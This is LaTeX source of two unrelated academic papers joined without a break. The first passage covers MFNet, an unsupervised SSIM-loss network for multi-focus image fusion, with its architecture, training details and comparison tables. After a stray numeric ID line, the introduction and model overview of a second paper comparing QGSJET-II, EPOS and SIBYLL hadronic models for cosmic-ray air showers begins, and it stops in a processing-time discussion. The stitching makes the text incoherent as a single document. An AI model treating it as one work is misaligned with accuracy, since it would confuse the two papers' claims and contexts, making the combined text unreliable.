We propose a deep unsupervised model for the generation of multi-focus image fusion. The network architecture is illustrated in Figure~\ref{fig:2} and comprises of four main sub-networks: three feature extraction sub-network and one feature reconstruction sub-network.
\subsubsection{Feature Extraction Sub-network}\par
As illustrated in Figure~\ref{fig:2}, each input image from the multi-focus image pair is passed through a feature extraction network (shown in purple ) to obtain high-dimensional non-linear feature maps. However, before passing through this network, the images are convolved with a $3\times3$ kernel and $64$ output channels. The output of the feature extraction network is passed through another convolutional layer without an activation function. The features from these networks for the two images are then fused to obtain a feature map. We also take the average of the two multi-focus image pairs and pass this image through a different feature extraction network (shown in orange in Figure~\ref{fig:2}). The output of this network is then added to the fused output from the fist two feature extraction networks and passed to the feature reconstruction sub-network.
The details of the feature extraction sub-networks are given in Figure~\ref{fig:3}. Each network consists of a stack of multiple convolutional layers followed by rectification layers without any pooling. We use different architectures for the feature extraction sub-networks. The network which takes in the average of the multi-focus images as input has D2 layers and is deeper than the network (having D1 layers) through which the individual images are passed. We have color coded the networks in Figures~\ref{fig:2} and~\ref{fig:3} for ease of cross referencing.
\subsubsection{Feature Reconstruction Sub-network}\par
The goal of this module is to produce the final fused image. It takes as input the output of the third feature extraction sub-network and the convolutional features obtained from the two added input images. As illustrated in Figure~\ref{fig:3}, the feature reconstruction network also consists of a cascade of CNNs and is deeper than the feature extraction sub-networks. It comprises seven layers out of which the first six include the leaky rectified linear units (LReLUs) with a negative slope of 0.2 as the non-linear activation functions. The output fusion image is given by the last convolutional layer with sigmoid nonlinearity. Once again, this network is depicted in the same color in Figures~\ref{fig:2} and~\ref{fig:3} for easy cross referencing.
\begin{figure}[h]
\begin{center}
\includegraphics[width=1.0\linewidth]{TIP_figure3_1.jpg}
\end{center}
\caption{ {\bf Structure of our feature extraction and reconstruction sub-networks.} There are D1, D2, D3 convolutional layers in the three networks respectively. The weights of convolutional layers are distinct among these three networks.}
\label{fig:3}
\end{figure}
\subsection{Loss function:}
Our proposed network in trained in an unsupervised fashion in the sense that it does not require ground truth all-in-focus images. Instead, the image structure similarity (SSIM) quality metric is used. The SSIM is often used to evaluate the performance of image fusion algorithms and hence it is natural to use this metric directly as the loss function. Let $ x_{1} $, $ x_{2} $ be the input image pair and $ \theta $ be the set of network parameters to be optimized. Our goal is to learn a mapping function $ g $ for generating an image (fused image) $ \hat{z}=g\left(x_{1},x_{2};\theta\right) $ that is as similar to the desired image (all the pixels in this image are in focus) $ z $ as possible. The network learns the ideal model parameters by optimizing a loss function. We now give details of multi-focus SSIM and the design of our loss function:
\noindent{\bf (1) } The image structure similarity (SSIM)~\cite{wang2004image} is designed for calculating the structure similarities of different sliding windows in their corresponding positions between two images. Let $ x $ be the reference image and $ y $ be a test image, then the SSIM can be defined as:
\begin{equation}
{\rm SSIM}\left ( x,y|w \right )=\frac{\left (2\bar{w}_{x}\bar{w}_{y}+C_{1} \right )\left ( 2\sigma _{w_{x}w_{y}}+C_{2}\right )}{\left ( \bar{w}_{x}^{2}+\bar{w}_{y}^{2}+C_{1} \right )\left ( \sigma _{w_{x}}^{2}+ \sigma _{w_{y}}^{2}+C_{2}\right )} ,
\end{equation}
where $ C_{1} $ and $ C_{2} $ are two small constants, $ w_{x} $ is a sliding window or the region under consideration in $ x $, $ \bar{w}_{x} $ is the mean of $ w_{x} $, $ \sigma_{w_{x}}^{2} $ and $ \sigma_{w_{x}w_{y}} $ are the variance of $ w_{x} $ and covariance of $ w_{x} $ and $ w_{y} $, respectively. The variables $ w_{y} $, $ \bar{w}_{y} $ and $ \sigma_{w_{y}}$ have the same meanings corresponding $ x $.
Note that the value of $ {\rm SSIM}\left(x,y|w\right)\in \left[-1,1\right]$ is used to measure the similarity between $ w_{x} $ and $ w_{y} $. When its value is 1, it means that $ w_{x} $ and $ w_{y} $ are the same.\par
\noindent{\bf (2) } Image quality measurement in the local windows. First, we calculate the structure similarities $ {\rm SSIM}\left(x_{1},\hat{y} |w\right)$ and $ {\rm SSIM}\left(x_{2},\hat{y}|w\right)$ using Equation (1). The constants $ C_{1} $ and $ C_{2} $ are set as $ 1\times 10^{-4} $ and $ 9\times 10^{-4}$, respectively. The size of sliding window is $ 7 \times 7 $, and it moves pixel by pixel from the top-left to the bottom-right of the image. We use the structural similarity of the input images as matching metric. When the standard deviation std$\left ( x_{1}|w \right )$ of a local window of input $x_{1}$ is equal to larger than the corresponding std$\left ( x_{2}|w \right )$ of input $x_{2}$, it means that the local window image patch of input $ x_{1} $ is more clear. At this time, we can determine the objective function by calculating the image patch similarity. It can be described as follows:\par
\begin{equation}
{\rm Scope } \left(x_{1},x_{2}, \hat{y} |w\right)=\left\{
\begin{array}{lcl}
{\rm SSIM}\left(x_{1},\hat{y}|w\right), \\for\ {{\rm std}\left(x_{1}|w\right)\geq {\rm std}\left(x_{2}|w\right)}\\
{\rm SSIM}\left(x_{2},\hat{y}|w\right), \\for\ {{\rm std}\left(x_{1}|w\right)< {\rm std}\left(x_{2}|w\right)}
\end{array} \right.
\end{equation}
\noindent {\bf (3) } Loss function. Based on the value of ${\rm Scope}\left(x_{1},x_{2},\hat{y}|w\right)$ in local window $ w $,we propose a robust loss function to optimize the unsupervised network. The overall loss function is defined as
\begin{equation}
Loss\left(x_{1},x_{2},\hat{y}\right)=1-\frac{1}{\left|N\right|}\sum_{w=1}^{N}{\rm Scope}\left(x_{1},x_{2},\hat{y}|w\right),
\end{equation}
where, \emph{N} represents the total number of sliding windows in an image. The computed loss is back-propagated to train the network. The better performance of $\rm SSIM_{Y}$ is attributed to its objective function that maximizes structural consistency between the fused image and each of the input images.\par
\subsection{Implementation Details}
All the convolutional layers have 64 filters of size $ 3\times 3 $ in our proposed \textit{MFNet}. We randomly initialize the parameters of convolutional filters and pad zeros around the boundaries before applying convolution to keep the size of all feature maps the same as the input images. We use leaky rectified linear units (LReLUs)~\cite{maas2013rectifier} with a negative slope of 0.2 as the non-linear activation function except for the last convolutional (reconstruction) layer where we choose sigmoid as the activation function. For the feature extraction and reconstruction sub-networks, the number of convolutional layers D1, D2 and D3 are set as 5, 6 and 7 respectively.\par
We use 60 pairs of multi-focus images from the benchmark Lytro Multi-focus Image dataset~\cite{nejati2015multi} and gray-scale Image dataset as our training data. Since the dataset is too small, we randomly crop $ 64\times 64 $ patches to form our final training dataset. The total number of the cropped patch is $50,000$. An epoch has 400 iterations of back-propagation. We use Tensorflow~\cite{abadi2016tensorflow} to train our model.
In addition, we set the weight decay to $10e-4$, initialize the learning rate to $10e-3$ for all layers, set the decay coefficient to $ 10^{3}$ and the decay rate to $0.96$.
\setlength{\tabcolsep}{4pt}
\begin{table}[t]
\begin{center}
\caption{The objective assessment of different methods for the fusion of ``Clock'' source images.}
\label{table:1}
\begin{tabular}{ccccc}
\hline\noalign{\smallskip}
Methods & $ Q_{S} $ & $Q_{CV}$ & VIFF & EN\\
\noalign{\smallskip}
\hline
\noalign{\smallskip}
NSCT & {\bf 0.9491} & 63.7236 & 0.9566 & 7.3278\\
GF & 0.9444 & 75.0824 & 0.9319 & 7.2985\\
DSIFT & 0.9447 & 71.5299 & 0.9410 & 7.3045\\
BF & 0.9442 & 75.0824 & 0.9319 &7.2985 \\
CNN & 0.9459 & 68.0495 & 0.7420 & 7.3077 \\
\textit{MFNet} & 0.9362 & {\bf 98.3789} & {\bf 1.0588} & {\bf 7.5030} \\
\hline
\end{tabular}
\end{center}
\end{table}
\setlength{\tabcolsep}{1.4pt}
\section{Experimental Results}
In this section, we compare the proposed \textit{MFNet} with several state-of-the-art multi-focus image fusion methods on benchmark datasets. We present quantitative evaluation and qualitative comparison.
We compare the proposed method with five state-of-the-art multi-focus image fusion algorithms, including methods based on non-subsampled contournet transform (NSCT)~\cite{zhang2009multifocus}, guided filtering (GF)~\cite{li-kang2013image}, dense SIFT (DSIFT)~\cite{liu2015multi}, boundary finding (BF)~\cite{zhang2017boundary}, convolutional neural network (CNN)~\cite{liu2017multi}. We implemented these algorithms using codes acquired from their respective authors. We carry out extensive experiments on $40$ pairs of multi-focus images from two public benchmark datasets: 20 pairs from the multi-focus image fusion dataset~\cite{Liuyucode:2016} and the other 20 pairs from a recently available dataset "Lytro"~\cite{Multi-focus:2016}.\par
Quantitative evaluation of image fusion is not an easy task since it is often impossible to obtain the reference image. Thus, many evaluation metrics are introduced for evaluating image fusion performance. There is no consensus on which metrics can completely describe the fusion performance. We evaluate the multi-focus image fusion results using image structural similarity $Q_{S}$~\cite{piella2003new}, human perception $Q_{CV}$~\cite{chen2007human}, information entropy (EN)~\cite{kumar2015image} and visual information fidelity VIFF~\cite{han2013new}. Among these four evaluation metrics, the $Q_{S}$ and $Q_{CV}$ and VIFF are calculated from the input image pair and the resultant fused image, while the EN is calculated from fused image only. $Q_{S}$ measures how well the structural information of the source images is preserved, $Q_{CV}$ measures how well the human perceive the results, VIFF measures the visual information fidelity while EN estimates the amount of information present in the fused image. For each of these metrics, the largest value indicates the best fusion performance.\par
\setlength{\tabcolsep}{4pt}
\begin{table}[t]
\begin{center}
\caption{The objective assessment of different methods for the fusion of ``Fence'' source images.}
\label{table:2}
\begin{tabular}{ccccc}
\hline\noalign{\smallskip}
Methods & $ Q_{S} $ & $Q_{CV}$ & VIFF & EN\\
\noalign{\smallskip}
\hline
\noalign{\smallskip}
NSCT & 0.9314 & 27.7074 & {\bf 0.9316 } & 7.8515\\
GF & 0.9273 & 24.1802 & 0.9175 & 7.8034\\
DSIFT & 0.9210 & 28.6299 & 0.9283 & 7.8531\\
BF & 0.9144 & { \bf 71.2070 } & 0.7897 & 7.8034 \\
CNN & 0.9271 & 24.8961 & 0.9304 & 7.8034 \\
\textit{MFNet} & {\bf 0.9385} & 34.7656 & 0.9294 & {\bf 7.8481} \\
\hline
\end{tabular}
\end{center}
\end{table}
\setlength{\tabcolsep}{1.4pt}
\subsection{Comparison with other methods}
Figure~\ref{fig:4} compares the results of our proposed \textit{MFNet} with other best performing multi-focus image fusion approaches on ``Clock'' image set. We can see that our proposed algorithm provides the best fusion result among these methods. For a better comparison, in Figure~\ref{fig:5} we depict the magnified regions of the fused images taken from Figure~\ref{fig:4}. The results clearly show that the fused images from \textit{MFNet} contain no obvious artifact in these regions, while the fused results from other methods contain some artifacts around the boundary of focused and defocused clocks (highlighted with green rectangles) and pseudo-edges (highlighted with pink rectangles).\par
In the second experiment, detailed results of ``Fence'' image set are shown in Figure~\ref{fig:6}. The fused result obtained with BF method is distinctly blurred. Once again magnified regions of these results are depicted in Figure~\ref{fig:7} for ease of comparison. Note that the fused result from the NSCT method contains artifacts (highlighted as pink rectangles) while the results of GF, DSIFT, BF and CNN algorithms suffer from blur artifact around the fence edges (Highlighted as green rectangles). However, the result obtained by our proposed algorithm are free from such artifacts.\par
Figure~\ref{fig:8} and Figure~\ref{fig:9} presents the original and magnified visual comparison of image fusion algorithms on ``Model Girl'' image set. Although all the algorithms show similar results for the background focused region (first row of Figure~\ref{fig:9}), we can clearly find blur artifacts in the girl's shoulder in the results of NSCT, GF, DSIFT, BF and CNN algorithms. The fused results from our method look more aesthetically pleasing.\par
The objective assessments of different methods for the fusion of the ``Clock'', ``Fence'' and ``Model Girl'' image sets are listed in Table~\ref{table:1},Table~\ref{table:2} and Table~\ref{table:3}, respectively, where the highest values are shown in bold. The results show that our proposed \textit{MFNet} outperforms the state-of-the-art in most cases using the four metrics. In some cases our proposed algorithm shows the second best performance. In general, only one metric can not objectively reflect the fused quality, thus we use these four metric to objectively evaluate different methods. \par
\setlength{\tabcolsep}{4pt}
\begin{table}[t]
\begin{center}
\caption{The objective assessment of different methods for the fusion of ``Model Girl'' source images.}
\label{table:3}
\begin{tabular}{ccccc}
\hline\noalign{\smallskip}
Methods & $ Q_{S} $ & $Q_{CV}$ & VIFF & EN\\
\noalign{\smallskip}
\hline
\noalign{\smallskip}
NSCT & 0.9357 & 15.1591 & 0.9612 & 7.7133\\
GF & 0.9330 & 13.6080 & 0.9564 & 7.7133\\
DSIFT & 0.9316 & 13.7120 & 0.9571 & 7.7110\\
BF & 0.9298 & 13.9148 & 0.9523 & 7.7102 \\
CNN & 0.9329 & 13.6979 & 0.9542 & 7.7099 \\
\textit{MFNet} & {\bf 0.9371} & {\bf 24.8138} & {\bf 1.0011} & {\bf 7.7364} \\
\hline
\end{tabular}
\end{center}
\end{table}
\setlength{\tabcolsep}{1.4pt}
\setlength{\tabcolsep}{5pt}
\begin{table}[h]
\begin{center}
\caption{The objective assessment of different methods for the fusion of ten pairs of validation multi-focus source images.}
\label{table:4}
\begin{tabular}{cccccc}
\hline\noalign{\smallskip}
Dataset &Methods & $ Q_{S} $ & $Q_{CV}$ & VIFF & EN\\
\noalign{\smallskip}
\hline
\noalign{\smallskip}
\multirow{6}{*}{Data1} & NSCT & {\bf 0.9291} & 69.9239 & 0.9200 & 7.3454\\
& GF & 0.9241 & 73.1916 & 0.8819 & 7.3350\\
& DSIFT & 0.9218 & 76.5037 & 0.8776 & 7.3330\\
& BF & 0.9222 & 77.1837 & 0.8740 & 7.3320 \\
& CNN & 0.9234 & 76.6635 & 0.8783 & 7.3299 \\
& \textit{MFNet} & 0.9201 & {\bf 87.3684} & {\bf 0.9771} & {\bf 7.4259} \\
\multirow{6}{*}{Data2} & NSCT & {\bf 0.9588} & 11.0787 & 0.9652 & 7.4332\\
& GF & 0.9578 & 6.2571 & 0.9574 & 7.4371\\
& DSIFT & 0.9572 & 6.2545 & 0.9583 & 7.4377\\
& BF & 0.9567 & 8.7372 & 0.9528 & 7.4358 \\
& CNN & 0.9575 & 6.3135 & 0.9570 & 7.4369 \\
& \textit{MFNet} & 0.9502 & {\bf 25.4599} & {\bf 1.0112} & {\bf 7.4869} \\
\hline
\end{tabular}
\end{center}
\end{table}
\begin{figure*}[t]
\begin{center}
\includegraphics[width=1.0\linewidth]{TIP_figure4_3.jpg}
\end{center}
\caption{ The ``Clock'' source image pair and their fused images obtained with different fusion methods.}
\label{fig:4}
\end{figure*}
\begin{figure*}[h!]
\begin{center}
\includegraphics[width=1.0\linewidth]{TIP_figure5_3.jpg}
\end{center}
\caption{ Magnified regions of the ``Clock'' source images and fused images obtained with different methods.}
\label{fig:5}
\end{figure*}
To further demonstrate the effectiveness of our proposed fusion method, ten pairs of popular multi-focus image sets are used, as shown in Figure~\ref{fig:10}. Among them five pairs are grayscale from~\cite{liu2017multi} (see in the first two rows of Figure~\ref{fig:10}) while the remaining from Lytro dataset. For convenience, we denote the first five pairs as Data1 and remaining as Data2. Figure~\ref{fig:11} depicts the results of different methods on the ten pair image set. Visual comparison of \textit{MFNet} with other image fusion methods shows that our proposed algorithm generates better quality fused images. The average scores achieved by the proposed and the compared fusion methods are reported in Table~\ref{table:4}. Our proposed method outperforms state-of-the-art fusion methods on all metrics except the $ Q_{S} $ metric.
\subsection{Execution time}
We use a desktop machine with 3.4GHz Intel i7 CPU (32 RAM) and NVIDIA Titan Xp GPU (12 GB Memory) to evaluate our algorithm. We choose multi-focus image pairs with a spatial resolution of $256\times 256$ ,$ 320\times 240$ and $520\times 520$ respectively and evaluate our method as well as the CNN based method~\cite{liu2017multi} using these three pairs of images. The average runtime of our proposed \textit{MFNet} for $256\times 256$ ,$ 320\times 240$ and $520\times 520$ size images is 3.7s, 4.1s and 5.1s respectively. This runtime is significantly lower than that of ~\cite{liu2017multi} which takes 54.8s, 46.62s and 115.8s respectively to fuse the same size images.
\begin{figure*}[t!]
\begin{center}
\includegraphics[width=1.0\linewidth]{TIP_figure6_3.jpg}
\end{center}
\caption{ The ``Fence'' source image pair and their fused images obtained with different fusion methods.}
\label{fig:6}
\end{figure*}
\begin{figure*}[h!]
\begin{center}
\includegraphics[width=1.0\linewidth]{TIP_figure7_3.jpg}
\end{center}
\caption{ Magnified regions of the ``Fence'' source images and fused images obtained with different methods.}
\label{fig:7}
\end{figure*}
\begin{figure*}[h!]
\begin{center}
\includegraphics[width=1.0\linewidth]{TIP_figure8_3.jpg}
\end{center}
\caption{ The ``Model Girl'' source image pair and their fused images obtained with different fusion methods.}
\label{fig:8}
\end{figure*}
\begin{figure*}[h!]
\begin{center}
\includegraphics[width=1.0\linewidth]{TIP_figure9_3.jpg}
\end{center}
\caption{ Magnified regions of the ``Model Girl'' source images and fused images obtained with different methods.}
\label{fig:9}
\end{figure*}
\begin{figure*}
\begin{center}
\includegraphics[width=1.0\linewidth]{TIP_figure10.jpg}
\end{center}
\caption{ Ten pairs of multi-focus images used for validation}
\label{fig:10}
\end{figure*}
\begin{figure*}
\begin{center}
\includegraphics[width=0.8\linewidth]{TIP_figure10_3.jpg}
\end{center}
\caption{ Fused results of ten pairs of source images obtained by different fusion methods.}
\label{fig:11}
\end{figure*}
\section{Conclusion}
We introduced an end-to-end approach for multi-focus image fusion that learns to directly predict the fusion image from an input pair of images with varied focus. Our model directly predicts the fusion image using a deep unsupervised network (\textit{MFNet}) which employs the structural similarity (SSIM) image quality metric as a loss function. To the best of our knowledge, \textit{MFNet} is the first ever unsupervised end-to-end deep learning method to perform multi-focus image fusion. The proposed model extracts a set of common low-level features from each input image. Feature pairs of the input images are fused and combined with features extracted from the average of the input images to generate the final representation or feature map. Finally, this representation is passed through a feature reconstruction network to get the final fused image. We train our model on a large set of images from multi-focus image sets and perform extensive quantitative and qualitative evaluations to demonstrate the efficacy of our proposed algorithm.
\ifCLASSOPTIONcompsoc
\section*{Acknowledgments}
\else
\section*{Acknowledgment}
\fi
This research was supported by the China Scholarship Council (CSC), Natural Science Foundation of Shaanxi Province(2017JM6079), Joint Foundation of the Ministry of Education of the People’s Republic of China (614A05033306) and ARC Discovery Grant DP160101458. We thank NVIDIA for the GPU donation.
\ifCLASSOPTIONcaptionsoff
\newpage
\fi
|
1,477,468,750,045 | arxiv | \section{Introduction}
\label{sec:level1}
One of the most challenging issues in contemporary research in physics of astroparticles is the determination of the chemical composition of the highest energy primary cosmic rays (CR). The composition estimations based on data generated during experimental observations require involved analysis techniques where a proper modeling of hadronic interactions constitutes an essential part of them. When passing through the Earth's atmosphere, the highly energetic CR interact with nuclei of air molecules and generate cascades of secondary particles, the extensive air showers (EAS). These secondary particles generated in EAS can then be detected and measured in some way and conclusions on the primary mass and energy can be drawn only after comparing them with the results of the EAS simulations. For this reason a proper modeling of the interactions that take place during the EAS development is essential for an adequate analysis.
Meanwhile the electroweak interactions are well understood, hadronic interactions, and especially their soft part, present substantial complications in their description. The observables of soft hadronic interactions are calculated using a combination of fundamental theoretical ideas based upon quantum chromodynamics (QCD) and empirical parametrizations. The differences between various implementations of hadronic interactions in the different available models constitute an important source of uncertainties in the determination of CR observables.
The effect on EAS observables of different modeling of hadronic interactions is the last consequence of a series of discrepancies between models. Previously, one can analyze the results of simulating single hadronic interactions and observe that differences are also present at this level, as has been reported in previous works \cite{Gar09,Lun04}.
A specific type of uncertainty comes from the needed model parameterizations that use particle accelerator data obtained for different (compared to CR) kinematic regions, energy range, and projectile-target configuration. The recently available data on proton-proton and proton-nucleus collisions at the Large Hadron Collider (LHC) have improved the knowledge of physics in an extended energy region with important consequences for the EAS simulations. This new information was included in the new versions of many hadronic interaction packages, particularly in QGSJET-II \cite{qgs24_1}, EPOS \cite{epolhc_1}, and SIBYLL \cite{sib23_1}.
The observables, important for EAS development, such as multiplicity of secondary particles, inelasticity, fractions of secondary mesons and baryons, energy distributions of secondary particles and pseudorapidity distributions were analyzed in the already mentioned previous works \cite{Gar09,Lun04}, where the comparative analysis of the main hadronic packages available at the time was carried out. It was found that the different models present significant differences for all energy ranges. Moreover, in Ref. \cite{Gar09} special attention was given to study the so-called very-energetic-leading-particle (VELP) events. These VELP events are characterized by (a) the small number of secondaries and (b) their leading particle carrying a substantial fraction of the projectile energy. Such events are very important in the shower development since they play a special role in transporting a significant fraction of the primary energy deep into the atmosphere. As a consequence, they are connected with the position of the EAS maximum $X_{\rm max}$, used to deduce the mass of primary CR particle. It was shown \cite{Gar09} that different models presented different results also for those VELP events.
The release of the mentioned updated versions of hadronic interaction models based on LHC recent data, motivated us to renew our study of the hadronic interaction packages. We find interesting to study the influence of the new experimental data included in the hadronic interaction models, on the EAS observables and on the characteristics of VELP events.
We aim to discuss in this present work the coincidences or differences between the post-LHC hadronic interaction models and their impact on EAS observables and also the technical enhancements of each of the three packages since their previous versions. Whenever relevant, we compare our present results with those obtained in our previous studies \cite{Gar09,Lun04}.
It is important to notice that a detailed analysis of the impact of diffractive interactions on EAS observables has been presented recently \cite{Arbe17}. In this work, the selection of diffractive events is done by means of changes in the settings of the corresponding internal parameters of the three different hadronic models considered, that permit enabling or disabling the diffractive interactions, instead of analyzing the properties of the produced secondaries to label the event as diffractive or not diffractive. The analysis of Ref. \cite{Arbe17} strongly support our findings related to the model dependence of the influence of diffractivelike interactions.
In addition to the foregoing, there are also another analyses which compare the new post-LHC hadronic interaction models and their influence on the EAS observables \cite{Pierog:2017, ostap16} or which compare the hadronic packages with their previous version \cite{ostap13, epolhc_1, engel17}. Nonetheless, most of such studies focus almost entirely to illustrate how the models match the available LHC results and/or what is the impact on basic shower observables. Besides that, the present analysis includes a very detailed study of secondary production, fraction of VELP events and other related quantities that complete the mentioned works.
This work is organized as follows: in the next Sec.
\ref{sec:ModelTheory} we outline the main features of the hadronic
interaction packages QGSJET-II, EPOS and SIBYLL used in EAS
simulations comparing their previous versions with the updated
ones. In Secs. \ref{sec:Results} and \ref{sec:ShowerResults} we
discuss the obtained results of our hadronic model comparison, and the
impact on common shower observables, respectively. Our final remarks
and conclusions are placed in Sec. \ref{sec:Final}.
\section{Overview of the hadronic interaction models}
\label{sec:ModelTheory}
Perturbative quantum chromodynamics (pQCD) gives accurate results of hadronic production in high energy reactions when the processes are characterized by a large momentum transfer (large $Q^2$), the hard processes, such that the strong coupling $\alpha_{s}(Q^2)$ becomes small due to the asymptotic freedom property of QCD. However, high energy collisions involve mainly processes that are characterized by a small momentum transfer (soft processes), which escape the pQCD treatment.
To consider the non perturbative effects in QCD, and in order to describe soft hadronic interaction at high energies, the Gribov-Regge field theory (GRT) \cite{grib68} has been developed. In this approach, hadronic collisions are described as multiple scattering processes where in each of them, there is an exchange of a microscopic parton cascade. As in general one cannot use the pQCD description to treat such cascades, as most of these partons are characterized by small transverse momenta, they are treated phenomenologically as an exchange of an effective object, the Pomeron. The amplitude for the Pomeron exchange cannot be obtained from first principles and, therefore, it is introduced via a parametrization.
On the other hand, as the energy increases, a sizeable contribution of the so-called semihard processes appear. Such processes are characterized by a larger momentum transfer (compared to soft processes) so that pQCD can be applied, and results in the production of hadron jets with higher transverse momenta which can be observed.
In the GRT case, as parton cascades contain both perturbative and nonperturbative parts, one can consider a general Pomeron as the sum of a soft and a semihard Pomeron, where the latter is represented as a QCD ladder between two soft Pomerons. This is the model adopted by the event generator packages QGSJET-II and EPOS.
As an alternative to the Gribov-Regge theory, the QCD eikonal minijet approach has been used by the package SIBYLL. In this case, the hard sector is described by QCD ladder contributions of the semihard Pomerons, while it is assumed that the soft interactions do not contribute significantly to the secondary particle production. The eikonal is based on the presence of minijets, where the particular features of high energy partonic interactions are described using the production of jets with low transverse momentum. In earlier versions of SIBYLL, only one soft interaction was permitted. The last versions, SYBILL 2.3 and 2.3c, allow a larger range of phase space for soft interactions and adopts some aspects of GRT in order to accommodate multiple soft interactions, described as Pomeron exchanges.
For particle production, SYBILL uses the Lund model of string hadronization where the transition from partonic entities to the final state hadron particles
is accomplished by a massless relativistic string representing the QCD color force field. In this model the quarks and antiquarks are taken as string endpoint excitations and gluons as internal excitations of the color field. The phenomenon of quantum tunneling is responsible for the breakup of these strings and the appearance of new quark-antiquark pairs resulting in the hadronic remnant with excitation energy and momentum described by a phenomenological function. The new versions of SIBYLL consider also the possibility of gluon exchanges between sea quarks and sea and valence quarks and also allow for the break-up of diquarks. In its newest version, SIBYLL 2.3c \cite{sib2.3c}, the parameters of the fragmentation function, remnant excitation masses and string tensions were adjusted in order to obtain the correct Feynman scaling behavior.
In EPOS, two mechanisms of particle production are implemented, one is the decay of the hadronic remnant mentioned above and another is the hadronization of a cut Pomeron. A phenomenological Pomeron can be asociated with a QCD parton ladder attached to the projectile and target remnants with multiparticle production resulting from the
fact that the cut Pomeron can be seen as color strings with quarks (antiquarks) or diquarks ($\overline{qq}$) as string ends.
QGSJET considers Pomeron-Pomeron interactions to take into account nonlinear effects related to parton shadowing and saturation.
These interactions give rise to complex fan diagrams that are the source of particle production in this model.
The results presented by the LHC correspond to collisions with center of mass energy around $\sqrt{s} \approx 10$ TeV. Consequently, for application in the highest energy cosmic rays physics it is necessary to extrapolate quantities like total proton-proton cross sections, for instance, at least one order of magnitude in energy (in the center of mass system). This extrapolation of data to higher energies is strongly dependent of the model used.
In addition to that, it is necessary to calculate $\sigma_{p-air}^{tot}$ from $\sigma_{p-p}^{tot}$. To achieve this goal, the Glauber model \cite{glau59} is used.
As was already mentioned in the Introduction, one of the main sources of uncertainties in the numerical simulations with hadronic interaction packages is the unavailability of experimental data corresponding to the energy and kinematic region corresponding to EAS. Therefore the experimental data that recently became available from LHC is of prime importance for EAS physics. The energy reached in these LHC experiments (around 10 TeV in CM energy) correspond to the energies above the knee in the cosmic ray spectra, but still are about two orders of magnitude lower than that measured for example by the Pierre Auger Observatory \cite{AugerSpectrumIcrc17}.
The newest versions of the hadronic packages were tuned to reproduce the results of Run 1 of the LHC which are mainly the results of TOTEM \cite{totem1,totem2,totem3,totem4} and ATLAS \cite{atlas1} experiments.
QGSJET-II-03 \cite{qgs23_0, qgs23_1, qgs23_2} updated to QGSJET-II-04 \cite{qgs24_1}, EPOS 1.99 \cite{epo99_1, epo99_2} changed into EPOS-LHC (v3400) \cite{epolhc_1} and SIBYLL 2.1\cite{sib21_1, sib21_2} upgraded to SIBYLL 2.3 \cite{sib23_1} and more recently to 2.3c \cite{sib2.3c}.
These new versions include adjustments considering the results of the measurement of total, elastic and inelastic proton-proton cross sections with high precision under various experimental conditions. This retuning of the models was able to eliminate many discrepancies between their predictions \cite{ostap16}. Also there are results for particle production in p-Pb by Alice \cite{alice1} and Pb-Pb collisions by ATLAS\cite{atlas2} and ALICE \cite{alice2} collaborations discussed in Ref. \cite{epolhc_1}, in connection to the new version of EPOS model, the EPOS-LHC.
It is important to mention that the newest version of SIBYLL, SIBYLL 2.3c, was adjusted to provide a better description of NA49 data.
These data include production of charged pions in p+p \cite{na491} and p+C interactions \cite{na492}; the production of protons, antiprotons and neutrons \cite{na493} and charged kaons \cite{na494} in p+p interactions; and the production of protons, antiprotons, neutrons, deuterons and tritons in minimum bias p+C interactions \cite{na495}.
The latest experiments in LHC make use of a large variety of forward detectors (see, for example, Ref. \cite{Berti:2017cfi} and references therein) to study events that are important for EAS development, those that we call VELP events (see Sec. \ref{sec:Results}), but to the best of our knowledge none of these data has still been taken into account to improve the hadronic interaction packages.
\section{Model Comparison Results}
\label{sec:Results}
We present here the results of the study of simulated experiments where a beam of given hadronic particles, the projectiles, impact on a given target undergoing hadronic collisions and generating secondary particles that are statistically analyzed. The input parameters of this simulated experiment are: (1) the type of primary particle, that can be a nucleon or a charged pion (other primaries could be also included but we restrict our present analysis to the mentioned ones); (2) the energy of the primary particle $E_P$; (3) the type of target, determined by its mass number $A$. For each parameter set, the collisions are simulated a sufficient number of times $N_{\rm ncoll}$, which in the present work is 10,000 unless otherwise specified.
We have run simulations for all the following combinations of: (1) hadronic models: QGSJET-II-03, QGSJET-II-04, EPOS 1.99, EPOS 3.4 (also known as EPOS-LHC), SIBYLL 2.1, SIBYLL 2.3, SIBYLL 2.3c; (2) primary particles: protons, positive pions; and (3) targets: protons ($A=1$), and nitrogen nuclei ($A=14$). With this selection, we intend to cover the most relevant cases for the hadronic model comparison. In the case of the targets, we want to mention that the selection of nitrogen is due to the fact that this nucleus is the most abundant in the Earth's atmosphere and it is therefore a representative case for the simulation of hadronic collisions that take place in such medium. On the other hand, the use of proton targets allows for studying the characteristics of collisions that take place in similar conditions as the real experiments whose data has been used to tune the models, for example proton-proton collisions at LHC. The energies of the projectiles range from 100 GeV (a typical energy near the threshold energy for all the considered models) up to about 300 EeV (corresponding to the highest cosmic ray energies observed).
To start with the analysis of our simulations results, let us address the technical question of the processing time required by each one of the hadronic models used. The most outstanding characteristic in this sense is the enormous difference of processing time requirements of each package. In Fig. \ref{fig:CPUTvsEprim} the average processing time is plotted as a function of the primary energy, in the case of proton-nitrogen collisions, and considering the newest versions of the QGSJET, EPOS and SIBYLL models. The vertical scale is normalized taking as 1 the average processing time required by SIBYLL 2.3 to process a 300 GeV p-N collision. It shows up clearly from this figure that SIBYLL 2.3 is the fastest collision generator, while EPOS is the slowest one, with processing time requirements that in some cases are more than two orders of magnitude larger in comparison with SIBYLL. QGSJET requirements are also large in comparison with SIBYLL 2.3, but remain in all cases smaller that those of EPOS.
Needless to say, such important differences are most probably due to the fact that the models here considered process the collisions using algorithms with different degrees of theoretical and computational complexity. Our main interest is to report on the processing time consumption from the point of view of the normal user of an air shower simulation program, thus skipping any detailed analysis about the characteristics of the models internal algorithms \footnote{The differences in CPU time for the different hadronic models could be related with the fact that SIBYLL, at difference with QGSJET and EPOS, does not include DGLAP evolution for hard scattering and that EPOS includes energy sharing at amplitude level and collective effect, of clear interest for heavy ion collisions. We acknowledge T. Pierog for clarifying this point to us.}.
The old versions of both EPOS and QGSJET require processing times that are very similar to the corresponding one for the newest versions plotted in Fig. \ref{fig:CPUTvsEprim}, and have therefore not been plotted for clarity. On the other hand, in the case of SIBYLL we included in Fig. \ref{fig:CPUTvsEprim} the last two versions of this hadronic package since there is a noticeable increase in processing time when comparing the recently released version 2.3c with the previous one 2.3. This difference is particularly large (more than one order of magnitude) at small primary energies.
